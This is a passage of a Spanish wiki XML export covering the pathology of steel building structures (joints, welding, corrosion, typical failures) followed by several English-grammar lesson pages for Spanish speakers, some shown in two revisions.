También existen las articulaciones, que sólo transmiten esfuerzos axiales, imprescindibles en estructuras trianguladas y en aquellas en las que se limiten los esfuerzos de flexión. Pueden ser de dos tipos: 

-Un pasador que une entre si las cartelas de los diferentes elementos a unir.

-Un vástago extremo dispuesto en la misma dirección del elemento a unir, atornillado a éste con solución “MERO” enganchado mediante la helicoide del tornillo.

'''Soldadura'''
  
Es la solución de unión permanente más adecuada puesto que asegura la continuidad de esfuerzos entre las piezas mediante el propio material. De esta manera se crean empotramientos que requieren juntas de dilatación más próximas para absorber los cambios dimensionales.
Según el procedimiento de ejecución hay dos tipos de soldadura:

-'''Soldadura por aleación''': es el caso más empleado en estructuras de edificios. Consiste en aportar un material metálico diferente al de los que van a soldarse a través de un electrodo. El material aportado ha de ser compatible con el acero de las piezas a soldar, distribuyéndolo de manera uniforme de modo que el espesor del cordón de soldadura tenga un espesor constante, sin burbujas de aire; así que habrá de realizarse en varias capas.

-'''Soldadura autógena''': La soldadura se logra fundiendo las piezas metálicas a unir, por lo que deben tener la misma naturaleza. Es importante comprobar la soldabilidad de los aceros a unir, conseguir uniformidad y evitar las burbujas.


'''Anclajes'''

Sistema de unión mediante apriete en inmovilización del cable a tracción a través de piezas especiales con forma troncocónica en los que se emplean aceros de alta resistencia.

== '''Solicitaciones típicas''' ==
A pesar de que globalmente las estructuras metálicas suelen presentar menor cantidad de problemas que otros sistemas constructivos,en edificación y en España tal vez por su menor uso, éstos se resumen en corrosión y deformabilidad fundamentalmente. No obstante,los fallos que experimentan tienen consecuencias catastróficas. 
De acuerdo con las explicaciones del profesor ''Félix Lasheras Merino'' en la asignatura de Patología de la ETSAM, los problemas que sufren dichas estructuras son los siguientes:
 
:- '''Necesidad de protección superficial'''
Para: facilitar su accesibilidad, efectuar la evacuación de agua, realizar operaciones de mantenimiento, puesta a tierra, impidiendo el riesgo de captación de corrientes parásitas.
::* Por estos motivos, muchos forjados metálicos anteriores a 1960 utilizaban yeso para ejecutar los entrevigados, y a veces para regularizar la cara superior, favoreciendo en este caso la corrosión en presencia de humedad.
   
:- '''Deformabilidad y dilatación térmica'''
Las estructuras metálicas presentan una mayor deformabilidad y dilatación térmica que las admisibles por estructuras de fábrica. Esto explica el hecho de que las primeras lesiones observables aparezcan primero en cerramientos y forjados, y no directamente en la estructura como cabría suponer. La deformabilidad y flexibilidad se expresan en:
::* Exceso de flecha
::* Exceso de vibración
::* Pandeo de pilares o local de alas comprimidas 
    
:-'''Ejecución de nudos y encuentros''' 
La importancia decisiva reside en estos puntos para lograr las disposiciones de articulación y empotramiento establecidas en el proyecto. Este aspecto muestra una gran diferencia respecto a las estructuras de hormigón, en el sentido de que el acero requiere un mayor grado de precisión en la ejecución. Precisamente, son las uniones defectuosas las causantes de los desastres en estructuras metálicas, sobre todo si se les añaden los efectos de otros problemas típicos como la corrosión, la presencia de zonas de absorción o transmisión de tracciones.
::* Las ''uniones soldadas'' debido al proceso de ejecución en obra y la dificultad que presenta su control, son más comprometidas que las atornilladas, a pesar de que éstas tienen mayor complejidad y sobredimensionan la estructura. La cuestión radica en el carácter más dúctil de las uniones soldadas.
::* Muchos defectos están ocasionados en la ''construcción'' y por los propios soldadores, lo cual, en obras pequeñas y medianas, suele ser frecuente.
::* Muchas veces, las soldaduras concentran tensiones provocadas por ''movimientos coartados'', que causan fatiga si no hay una penetración suficiente. 
::* En las ''cubiertas ligeras'', la presencia de numerosos nudos y uniones, así como la relativa importancia de las sobrecargas, las convierten en estructuras muy propensas a sufrir procesos patológicos.
::* La ''escasa rigidez'' de los nudos requiere de arrostramientos externos mediante el uso de bielas de acero o tirantes, o bien con paños confinados de fábrica.
:-'''Corrosión'''
Afecta especialmente a elementos ocultos, exteriores o de difícil acceso, próximos a bajantes o instalaciones de hidráulicas (presentan fugas, condensaciones, etc.) o con escaso revestimiento protector contra condensaciones, filtraciones, humedad capilar o lluvia.

La '''ventaja principal''' de las estructuras metálicas es que las reparaciones, excepto en casos extremos, suele ser sencilla mediante la incorporación de nuevas chapas o perfiles atornillados, soldados a los dañados, previa verificación de la compatibilidad de aceros y recubrimientos de los electrodos.

Las [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Lesiones|lesiones]] a las que se ven afectadas las estructuras metálicas pueden clasificarse en tres grupos:

-Agresiones biológicas

-Agresiones físicas y mecánicas

-Agresiones químicas
 

=== Agresiones biológicas ===
Este es un caso poco frecuente en la edificación, puesto que no es corriente encontrar (micro) organismos alimentados por metal. A pesar de esto, sí existen ciertas bacterias que pueden intensificar con su actividad los procesos de corrosión. Por tanto, su importancia respecto a la corrosión electroquímica es mínima 
''Corrosión microbiológica''

Se desarrolla en presencia de microorganismos, especialmente bacterias, hongos y algas microscópicas.

=== Agresiones físicas y mecánicas ===
Este tipo de agresiones son similares a las que puede padecer cualquier tipo de estructura. Probablemente, las '''vibraciones''', dependiendo de la configuración de la estructura se transmitan con una mayor facilidad comparando con estructuras cuyo módulo de deformabilidad sea menor.
Respecto a las demás agresiones físicas, '''el fuego''' es la más significativa debido a su gran destructividad, lo cual hace necesario establecer una cuidada '''protección''' específica: en el material, su disposición y la propia organización del edificio, facilitando su evacuación y la rápida extinción en caso de incendio.

Los motivos mecánicos que originan la alteración y deterioro de los materiales incluyen movimientos, deformaciones y rupturas originados por:

'''Cargas externas directas'''

Actúan sobre la estructura u otros elementos.

'''Cargas indirectas'''

Debidas a variaciones de temperatura o humedad, que en caso de movimientos impedidos en las piezas, provocan importantes deformaciones.

'''Cargas reológicas'''

Están producidas por la fatiga de los materiales.

'''Desplazamientos de la estructura'''

Son consecuencia de las alteraciones experimentadas en los terrenos sobre los que se cimienta.

=== Agresiones electroquímicas ===
La '''corrosión electroquímica''' tiene junto al fuego un poder destructivo muy importante, pero se diferencia en que su tiempo de actuación es mucho más lento y no suele percibirse hasta que los daños no son significativos. Además, puede actuar localmente en áreas muy reducidas y peligrosas de la estructura como ocurre en las soldaduras o tornillos de unión. La dificultad radica en que la estructura presenta zonas de acceso e inspección complicados, lo cual dificulta tanto el control como el mantenimiento de estos elementos estructurales frente a la corrosión.

Algunas de las [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Causas_materiales_y_mecanismos_de_deterioro|causas]] que favorecen este tipo de procesos son:

'''Agua'''

Las aguas de tipo duro tienen un alto contenido de iones de calcio y magnesio que favorecen las reacciones químicas, incluso las limpias presentan impurezas minerales, oxígeno y dióxido de carbono disuelto.

'''Ácidos'''

Procedentes de lluvia, terrenos, enyesados, maderas (roble, tuyas, castaño), algas y musgos.
Provocan la perforación de los metales.

'''Sales'''

En muchos casos ayudan en la formación de una película protectora e inhibidora de la corrosión, si no se superan en determinadas cantidades.

'''Álcalis'''

El hidróxido de sodio y de potasio liberados por el cemento Pórtland son muy perjudiciales para el zinc, el aluminio y el plomo en presencia de humedad; sin embargo, no afectan al cobre y protegen de la corrosión a los materiales ferrosos embebidos en hormigón rico en cemento.
La cal aérea si no es carbonatada también protege a los metales ferrosos, pudiendo atacar al aluminio y ser ligeramente corrosiva para el plomo y el zinc.

'''Clima'''

Existe una clasificación de los climas según sea su impacto en los metales estructurales.

'''Factores de diseño'''

Para prevenir una corrosión prematura se debe dotar a las superficies de una ligera inclinación para posibilitar la evacuación de agua, distribuir orificios de drenaje y disponer espacio suficiente entre elementos para preparar las superficies y pintarlas, evitando lugares donde se acumule agua y otros contaminantes.
Las zonas que experimentan deformaciones, tienden a comportarse como ánodos y de ahí resulten más propensas a la corrosión. Normalmente aparece en bordes, cantos vivos y dobleces, lo cual debe ser considerado previamente en la fase de diseño y al determinar el tipo de protección anticorrosivo requerido.

== '''Fallos característicos''' ==

Debido a la propia naturaleza de los materiales que constituyen estas estructuras, las patologías más comunes se concentran en el sistema, más que en el propio material o sistema constructivo.
La relación de problemas más frecuentes en las estructuras metálicas es:

:- '''Corrosión'''
::* Deslaminación de perfiles
::* Picaduras en conexiones

La corrosión es un proceso que afecta al acero provocando una destrucción o deterioro de sus propiedades debido a una reacción química o por consecuencia de una corrosión electroquímica. 
Experimenta una aceleración en ambientes agresivos como los industriales o marinos.
Provoca una disminución progresiva de la sección resistente de los elementos estructurales, llegando incluso a la perforación o rotura por abombamiento de los óxidos.Las zonas donde suele aparecer son: los apoyos, cerramientos exteriores y en forjados sanitarios.
Los tipos de corrosión más frecuentes son la de [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Causas_materiales_y_mecanismos_de_deterioro#AGRESIONES_EXTERNAS|aireación diferencial]] y la de [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Causas_materiales_y_mecanismos_de_deterioro#AGRESIONES_EXTERNAS|par galvánico]].


:- '''Fallo de las uniones'''
::* Corrosión
::* Mecánico

Las uniones constituyen uno de los puntos más delicados a tener en cuenta en la estructura, tanto en el proyecto como durante el proceso de ejecución. Su objetivo es dotar de continuidad a un elemento estructural que no puede construirse de una sola pieza. Son esenciales para dotar de estabilidad y seguridad a la estructura.

Los defectos pueden ser según la tipología de la unión los siguientes:

'''Roblonado'''/'''Atornillado'''

El problema más importante es la corrosión por aireación diferencial que puede surgir en los encuentros, causando una pérdida de sección útil en los roblones o tornillos. Hay que utilizar aceros de igual composición para evitar problemas de par galvánico. En las articulaciones habrá que emplear aceros de alta resistencia. Y de modo general, los elementos deben someterse a un control exhaustivo de calidad y de su colocación.

'''Soldadura'''

Los procesos patológicos mecánicos son consecuencia de una sección de cálculo insuficiente o de una ejecución no uniforme. Las patologías químicas son causadas por incompatibilidad de aceros o con el material de aportación.


'''Anclajes'''

Los procesos patológicos mecánicos conducen a aplastamiento y cizalladura del elemento traccionado, llegando a su rotura. Suele producirse un alargamiento diferido, que habrá que cuantificar en los primeros meses de puesta en funcionamiento. Los procesos de naturaleza química se deben a corrosión por aireación diferencial.

:- '''Falta de rigidez'''
::* Deformación
:::. Mecánica
:::. Térmica, especialmente en elementos perimetrales situados en los cerramientos.
::* Vibración

El acero aunque sufre deformaciones, suele recuperar su forma, salvo en determinados casos. Las lesiones mecánicas que afectan a forjados metálicos pueden ser de dos tipos: de flecha o de tensión excesiva. Su origen está en la inadecuación de la estructura frente a un estado límite; bien por un incremento de las cargas que puede soportar o por la disminución de la resistencia de la estructura.

De modo general, las lesiones comienzan en las zonas más rígidas del edificio, donde son más visibles, como sucede en los cerramientos y particiones. 

:-'''Los fallos característicos''' son los siguientes: 

::* Fallos mecánicos: afectan a la solidez,implican pérdida de capacidad mecánica o resistencia, estabilidad, rigidez que inciden en la seguridad estructural.

::* Fallos funcionales: afectan a la utilidad,conllevan pérdida de nivelación horizontal, vertical que repercute en la durabilidad y transmisión de vibraciones.

::* Fallos estéticos: afectan al decoro debido a cambio de coloración por acción de la corrosión. Son figuraciones inducidas que influyen más en cerramientos, revestimientos y paramentos que en la propia estructura.


== '''Bibliografía''' ==

-'''AA.VV. (1981):''' CURSO DE CONTROL DE CALIDAD EN LA EDIFICACIÓN. CURSILLO 3. ESTRUCTURAS METÁLICAS. Ed. COAM, Madrid, 1981.
ISBN 84-85572-28-9
(Biblioteca ETSAM Depósito 20.026)

-'''Martínez Lasheras, R. (1984):''' PATOLOGÍA DE LAS ESTRUCTURAS METÁLICAS Y MIXTAS. 
CURSO DE REHABILITACIÓN. TOMO 5. LA ESTRUCTURA.
Colegio Oficial de Arquitectos de Madrid, Madrid, 1985. 
ISBN 84-85572-70-X
(Biblioteca ETSAM, 69.059 CUR 5)

-'''Monjo Carrió, J; Maldonado Ramos, L. (2001):''' PATOLOGÍA Y TÉCNICAS DE INTERVENCIÓN EN ESTRUCTURAS ARQUITECTÓNICAS, Ed. Munilla-Lería, Madrid, 2001.
ISBN 84-89150-52-4
(Biblioteca ETSAM: 69.059 MON PAT)

{{AutoCat}}</text>
      <sha1>8tm70f3847rz0xq2pojqa06wqwm3bk6</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Plurales irregulares</title>
    <ns>0</ns>
    <id>12467</id>
    <revision>
      <id>429821</id>
      <parentid>426152</parentid>
      <timestamp>2026-08-01T22:01:47Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429821</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1749" sha1="1x1nm573th4pwnydvnroa20pqkcp54v" xml:space="preserve">=== Plurales irregulares ===

* Lista de plurales irregulares:

{| class=&quot;wikitable&quot;
!colspan=2| Inglés !!colspan=2| Español
|- 
| ''Forma singular'' || ''Forma plural'' || ''Forma singular'' || ''Forma plural''
|-
| man || men || hombre || hombres
|-
| woman || women || mujer || mujeres
|-
| child || children || niño (varon o mujer) || niños (de ambos sexos)
|-
| mouse || mice || ratón || ratones
|-
| fish || fish  ||pez || peces
|-
| tooth || teeth || diente || dientes
|-
| foot || feet || pie || pies
|-
| Sheep || Sheep || Oveja || Ovejas
|-
| Goose || Geese || Ganso || Gansos
|-
| Ox||  Oxen||  Buey || Bueyes
|-
| Louse || Lice || Piojo ||  Piojos
|-
| Die||  Dice||  Dado ||  Dados
|- Fungus ||  Fungi  || Hongos
|}
* También hay palabras que son lo mismo en plural y en singular, incluyendo '''sheep''' (oveja/ovejas), '''deer''' (venado/venados), '''fish''' (pez/peces) y '''moose''' (alce/alces).

* Aparte estos plurales irregulares, existen otros que por razones fonéticas modifican su escritura al convertir el singular en plural. Son algunos de los sustantivos que terminan en sonido de &quot;F&quot;; esta &quot;F&quot; se transforma en &quot;V&quot;. Tal es el caso de:

* '''knife''' (cuchillo)    '''knives'''.
* '''wife''' (esposa)    '''wives'''.
* '''wolf''' (lobo)    '''wolves'''.


* Finalmente, existen algunos '''plurales falsos''', que no tienen nada que ver con el singular del que parecen proceder:

{| class=&quot;wikitable&quot;
!colspan=2| Inglés !!colspan=2| Español
|- 
|'''Singular''' ||  '''Español'''  || '''Plural falso''' || '''Español'''
|-
|'''good'''  ||       bueno    ||           '''goods''' ||  mercancías
|-
|'''custom'''||clientela, costumbre ||'''customs'''|| aduana
|}

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>1x1nm573th4pwnydvnroa20pqkcp54v</sha1>
    </revision>
    <revision>
      <id>429912</id>
      <parentid>429821</parentid>
      <timestamp>2026-08-01T22:09:14Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429912</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1709" sha1="6vhoi089sxpwmg4dxj8ilsax3wdsy27" xml:space="preserve">=== Plurales irregulares ===

* Lista de plurales irregulares:

{| class=&quot;wikitable&quot;
!colspan=2| Inglés !!colspan=2| Español
|- 
| ''Forma singular'' || ''Forma plural'' || ''Forma singular'' || ''Forma plural''
|-
| man || men || hombre || hombres
|-
| woman || women || mujer || mujeres
|-
| child || children || niño (varon o mujer) || niños (de ambos sexos)
|-
| mouse || mice || ratón || ratones
|-
| fish || fish  ||pez || peces
|-
| tooth || teeth || diente || dientes
|-
| foot || feet || pie || pies
|-
| Sheep || Sheep || Oveja || Ovejas
|-
| Goose || Geese || Ganso || Gansos
|-
| Ox||  Oxen||  Buey || Bueyes
|-
| Louse || Lice || Piojo ||  Piojos
|-
| Die||  Dice||  Dado ||  Dados
|- Fungus ||  Fungi  || Hongos
|}
* También hay palabras que son lo mismo en plural y en singular, incluyendo '''sheep''' (oveja/ovejas), '''deer''' (venado/venados), '''fish''' (pez/peces) y '''moose''' (alce/alces).

* Aparte estos plurales irregulares, existen otros que por razones fonéticas modifican su escritura al convertir el singular en plural. Son algunos de los sustantivos que terminan en sonido de &quot;F&quot;; esta &quot;F&quot; se transforma en &quot;V&quot;. Tal es el caso de:

* '''knife''' (cuchillo)    '''knives'''.
* '''wife''' (esposa)    '''wives'''.
* '''wolf''' (lobo)    '''wolves'''.


* Finalmente, existen algunos '''plurales falsos''', que no tienen nada que ver con el singular del que parecen proceder:

{| class=&quot;wikitable&quot;
!colspan=2| Inglés !!colspan=2| Español
|- 
|'''Singular''' ||  '''Español'''  || '''Plural falso''' || '''Español'''
|-
|'''good'''  ||       bueno    ||           '''goods''' ||  mercancías
|-
|'''custom'''||clientela, costumbre ||'''customs'''|| aduana
|}

{{AutoCat}}</text>
      <sha1>6vhoi089sxpwmg4dxj8ilsax3wdsy27</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Partitivos</title>
    <ns>0</ns>
    <id>12506</id>
    <revision>
      <id>429854</id>
      <parentid>280028</parentid>
      <timestamp>2026-08-01T22:05:20Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429854</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2400" sha1="am7qrof0iyw142hcshgui5bjsqxgns8" xml:space="preserve">===Partitivos===

*'''SOME-ANY'''

*En inglés, por aquello de que no ''dice'' nada un sustantivo sin artículo o ''algo'' que especifique ''el que'' en relación con dicho sustantivo, es imprescindible recurrir a los partitivos...
*'''Necesitamos''' algo que nos indique que lo que pedimos es ''una parte de...''.
*Siempre que en una frase afirmativa el sustantivo sea una parte de un todo, en inglés se ha de indicar con '''SOME'''.
*En muchos casos, '''some''' no se traduce al español. Como ''partitivo'', desde luego nunca. En tanto nos indique que el sustantivo que le sigue es ''parte de un todo'', ''algo de'', ''un poco de'', ''una corta cantidad de''...
*'''Some''' tiene otros sentidos. En primer lugar, es el plural del artículo indeterminado inglés -'''a''', '''an'''- y por consiguiente se traduce por ''unos, unas'' como en:

*'''There are some books on the table''' (Hay '''unos''' libros sobre la mesa).


*Esto quiere decir que cuando en español tengamos el artículo indeterminado plural en una frase, lo podremos traducir por '''some''' si la frase es afirmativa.

*Lo mismo ocurre con nuestros adjetivos ''algún'', ''alguna'', ''alguno'', ''algunos'' y ''algunas'', que indican también que ese algo a que nos referimos forma parte de un todo teórico. En inglés lo traduciremos también por '''some'''.

''Tengo algunos libros'' - '''I have some books'''.

*Todo exactamente igual, se aplica a '''any''', pero cuando las frases son '''INTERROGATIVAS O NEGATIVAS'''.

*'''SOME''' para afirmar
*'''ANY'''  para preguntar o negar

*'''There is not any water in it''' (No hay agua en él).
*'''Have you any water?''' (¿Tienes agua?).


*1º) Use '''some''' cuando la frase sea '''afirmativa''' y el sustantivo sea parte de un todo.
*2º) Use '''any''' cuando la frase sea '''interrogativa''' y el sustantivo sea parte de un todo.
*3º) Use '''any''' cuando la frase sea '''negativa''', siempre que detrás del verbo vaya la partícula negativa '''not''' y la frase se refiere a parte de un todo.
*4º) Tanto '''some''' en frases afirmativas, como '''any''' en las interrogativas, traducen el plural del artículo indeterminado -'''a''', '''an'''-, unos, unas, así como algún, alguno, alguna, algunos, algunas. '''Not any''' significará ningún, ninguno, ninguna, ningunos, ningunas, puesto que expresa una negación.


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>am7qrof0iyw142hcshgui5bjsqxgns8</sha1>
    </revision>
    <revision>
      <id>429906</id>
      <parentid>429854</parentid>
      <timestamp>2026-08-01T22:09:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429906</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2360" sha1="1kj5yfstq82318jh5psmlrr2t5ygvhh" xml:space="preserve">===Partitivos===

*'''SOME-ANY'''

*En inglés, por aquello de que no ''dice'' nada un sustantivo sin artículo o ''algo'' que especifique ''el que'' en relación con dicho sustantivo, es imprescindible recurrir a los partitivos...
*'''Necesitamos''' algo que nos indique que lo que pedimos es ''una parte de...''.
*Siempre que en una frase afirmativa el sustantivo sea una parte de un todo, en inglés se ha de indicar con '''SOME'''.
*En muchos casos, '''some''' no se traduce al español. Como ''partitivo'', desde luego nunca. En tanto nos indique que el sustantivo que le sigue es ''parte de un todo'', ''algo de'', ''un poco de'', ''una corta cantidad de''...
*'''Some''' tiene otros sentidos. En primer lugar, es el plural del artículo indeterminado inglés -'''a''', '''an'''- y por consiguiente se traduce por ''unos, unas'' como en:

*'''There are some books on the table''' (Hay '''unos''' libros sobre la mesa).


*Esto quiere decir que cuando en español tengamos el artículo indeterminado plural en una frase, lo podremos traducir por '''some''' si la frase es afirmativa.

*Lo mismo ocurre con nuestros adjetivos ''algún'', ''alguna'', ''alguno'', ''algunos'' y ''algunas'', que indican también que ese algo a que nos referimos forma parte de un todo teórico. En inglés lo traduciremos también por '''some'''.

''Tengo algunos libros'' - '''I have some books'''.

*Todo exactamente igual, se aplica a '''any''', pero cuando las frases son '''INTERROGATIVAS O NEGATIVAS'''.

*'''SOME''' para afirmar
*'''ANY'''  para preguntar o negar

*'''There is not any water in it''' (No hay agua en él).
*'''Have you any water?''' (¿Tienes agua?).


*1º) Use '''some''' cuando la frase sea '''afirmativa''' y el sustantivo sea parte de un todo.
*2º) Use '''any''' cuando la frase sea '''interrogativa''' y el sustantivo sea parte de un todo.
*3º) Use '''any''' cuando la frase sea '''negativa''', siempre que detrás del verbo vaya la partícula negativa '''not''' y la frase se refiere a parte de un todo.
*4º) Tanto '''some''' en frases afirmativas, como '''any''' en las interrogativas, traducen el plural del artículo indeterminado -'''a''', '''an'''-, unos, unas, así como algún, alguno, alguna, algunos, algunas. '''Not any''' significará ningún, ninguno, ninguna, ningunos, ningunas, puesto que expresa una negación.


{{AutoCat}}</text>
      <sha1>1kj5yfstq82318jh5psmlrr2t5ygvhh</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Conceptos generales/Bibliografía</title>
    <ns>0</ns>
    <id>12549</id>
    <revision>
      <id>430006</id>
      <parentid>197799</parentid>
      <timestamp>2026-08-02T09:56:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430006</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="741" sha1="b9v1iuc6fjqnsj6rw6flt18kgewgioi" xml:space="preserve">BIBLIOGRAFÍA: TEORÍA DE LA PATOLOGÍA

[[Patología de la edificación/Bibliografía|Enlace con la bibliografía general]]
* '''Calavera, J. (2003):''' Cualidades de los informes de patología estructural: formación, experiencia, intuición. CUADERNOS INTEMAC 2003.I (49). ISSN: 1133-9365.
* '''Escribano Villán, J. (1994):''' SINIESTRALIDAD ARQUITECTÓNICA. Ed. COAVN. 1994. ISBN 84-87813-07-0. (ETSAM 69.059 ESC sin)
* '''Harris, S.Y. (2001):''' BUILDING PATHOLOGY. DETERIORATION, DIAGNOSTICS, AND INTERVENTION. John Wiley &amp; Sons, Inc. New York, 2001. ISBN 0-471-33172-4.
* '''Watt, D.S. (1999):''' BUILDING PATHOLOGY. PRINCIPLES AND PRACTICE. Blackwell Science Ltd. London 1999. ISBN 0-632-04875-1. (ETSAM 69.059 WAT bui)

{{AutoCat}}</text>
      <sha1>b9v1iuc6fjqnsj6rw6flt18kgewgioi</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Cantidades</title>
    <ns>0</ns>
    <id>12649</id>
    <revision>
      <id>429833</id>
      <parentid>369565</parentid>
      <timestamp>2026-08-01T22:03:36Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429833</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4388" sha1="dvt6fz3j6jmbbmcmyqcx3fbizdns0tc" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
===Sobre cantidad===

*En primer lugar, tenemos la expresión '''very little'''. '''Little''' puede ser ''pequeño'' a la vez que ''poco''. Esa palabra expresa la idea de pequeñez a la vez que escasez, en cuanto a cantidad..., hasta tal punto, que como en inglés carecen de sufijos como '''ito''', '''ita''', usan '''little''' para expresarlo.

*En español: Mesa -Mesita.
*En inglés: '''Table''' -'''Little table'''.

*Por lo que respecta a '''very''', es un bonito adverbio que nos sirve para expresar que lo que el adjetivo expresa es más, todavía más. Así, en el caso de '''very little''', sabemos en principio que significa ''pequeño'' o ''poco'', pero con el '''very''' será ''muy pequeño'' o ''muy poco''; también, comparado con el español, '''very''' equivale en inglés a los sufijos españoles '''isimo''', '''isima'''.

*En español: Muy pequeño o pequeñísima. Muy poco o poquísimo.
*En inglés: '''Very little'''.

*'''A lot'''. De primera intención, esto significa ''un lote'', o sea, '''una cantidad de algo'''. Pero los ingleses utilizan esta expresión en frases '''afirmativas''', cuando lo que se trata de indicar es que hay '''mucho''' de algo en alguna parte.

*'''Much''',  ''mucho'' '''se refiere a un tanto / o una fracción de algo'''.

*Resumen:
*'''Little''' traduce ''poco''.
*'''Very little''' traduce ''muy poco, poquísimo''.
*'''A lot (of)''' traduce ''mucho''.
*'''A large quantity''' traduce '''muchísimo'''.


*Tenga presente que estas expresiones relativas a cantidad en general '''suelen usarse en frases de carácter afirmativo'''. Por lo que se refiere a frases negativas e interrogativas, se usan '''much''' o '''very much'''.

*'''Adverbios de cantidad'''

*'''Much''' (singular) = Mucho
*'''Many''' (plural) = Muchos
*'''Little''' (singular) = Poco
*'''Few''' (plural) = Pocos

*'''Comparativos'''

*'''More''' = Más
*'''Fewer''' = Menos (plural)
*'''Less''' = Menos (singular)

*'''Superlativos'''

*'''the most''' = el más, lo más 
*'''the least''' = el menos
*'''the fewest''' = los menos


*Son varias las formas de indicar cantidad en inglés, en sustitución de '''much''' que se deja a un lado cuando de frases afirmativas se trata.
*'''A lot (of)'''Mucho de...
*'''A lot''' equivale a un ''mucho'' indeterminado, impreciso.
*'''There is a lot of bread on this plate''' (Hay mucho pan en este plato).

*'''Plenty (of)'''Suficiente de...
*'''Plenty''' indica la idea de ''suficiente'', es decir, un ''mucho'' que ''llena''.

*'''A good deal (of)'''Una buena cantidad de...
*'''A good deal''' equivale a nuestro ''bastante'' cuando nos referimos a cantidad.

*'''A great deal (of)'''Una gran cantidad de...
*'''A great deal''', de la misma ''familia'' que '''a good deal''' nos indica ''abundancia'', pero también hemos de traducirlo como superlativo, o sea, ''muchisimo''.

*Si decimos '''I have plenty of money''', queremos decir que ''Yo tengo mucho dinero'', a la vez que ''tengo '''suficiente''' dinero''.
*'''A large quantity''' determina más que '''a lot''' y lo usaremos como superlativo de éste, mediante el español ''muchisimos''.

*Quede bien claro, pues, que todas y cada una de estas expresiones sustituyen a '''much''' como adverbio de cantidad, en frases afirmativas.


*'''How many?...'''
*Esta voz se traduce en español por ''cuántos'', ''cuántas'':
*'''How many lumps have you got?''' (¿Cuantos terrones tienes?)
*'''How many''' es plural, indicativo de cuantificación numérica, &quot;cuantos&quot; o &quot;que tantos&quot;.

*'''how much''' funciona como la pregunta &quot;cuanto&quot; o bien &quot;que tanto&quot;, refiriéndose mas a cantidades económicas.
*'''so much''' funciona como &quot;demasiado&quot; y comúnmente expresa un exceso o una cantidad exacta.


*'''ANYTHING, SOMETHING, NOTHING...''' Tres palabras fundamentales para cuando se ha de referir uno a cosas en sentido general.

*'''ANYTHING''' para peguntar &quot;cualquiera&quot;
*'''Anything''' ha de utilizarlo como nuestro ''algo'' cuando quiera preguntar sobre ''algo'' que no sabe si está, es o existe.

*'''SOMETHING''' para afirmar &quot;algo&quot;
*'''Something''', cuando quiera afirmar que sí, que ese ''algo'' está, es, existe.

*'''NOT ANYTHING / ANYONE''' para negar &quot;ninguno&quot;
*'''NOTHING''' para negar &quot;nada&quot;
*'''Not anything''' o '''Nothing''', cuando quiera contestar que de ese ''algo'' no hay tal, que no hay nada.

{{AutoCat}}</text>
      <sha1>dvt6fz3j6jmbbmcmyqcx3fbizdns0tc</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Pronunciación/Corrupciones fonéticas</title>
    <ns>0</ns>
    <id>12652</id>
    <revision>
      <id>429862</id>
      <parentid>224475</parentid>
      <timestamp>2026-08-01T22:06:20Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429862</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="11663" sha1="k4w0olucmd3nxgaq9v99ldap14b43ls" xml:space="preserve">===Corrupciones fonéticas===

*Cuando '''A''' se convierte en '''AN'''

*En realidad la cosa sucedió al revés. Tanto '''a''' como '''an''' son corrupciones fonéticas de '''one''', el número uno, cuya pronunciación aproximada es ''uë'n''... De manera que la cosa empezó por ahí y el lenguaje vivo, con el uso, abrevió hasta transformar '''one'' en '''a''', dejando solo '''an''' en casos particulares.

*El idioma inglés sigue siempre la ley del menor esfuerzo.

==Las contracciones==

*¿Sabe usted lo qué es la ''elisión''? Si de buenas a primeras lo recuerda, afortunado usted. Pero nosotros hemos tenido que recurrir al diccionario. Pues bien; se entiende por '''elidir''' el hecho de ''frustrar'', ''debilitar'', ''desvanecer'' alguna cosa. Esto, aplicado a la ''Gramática'', equivale a suprimir una vocal. En español, por ejemplo, tenemos ''del'', ''al'', procedentes de ''de el'' y ''a el'', respectivamente.

*Los ingleses son muy aficionados a elidir vocales..., particularmente al hablar. 

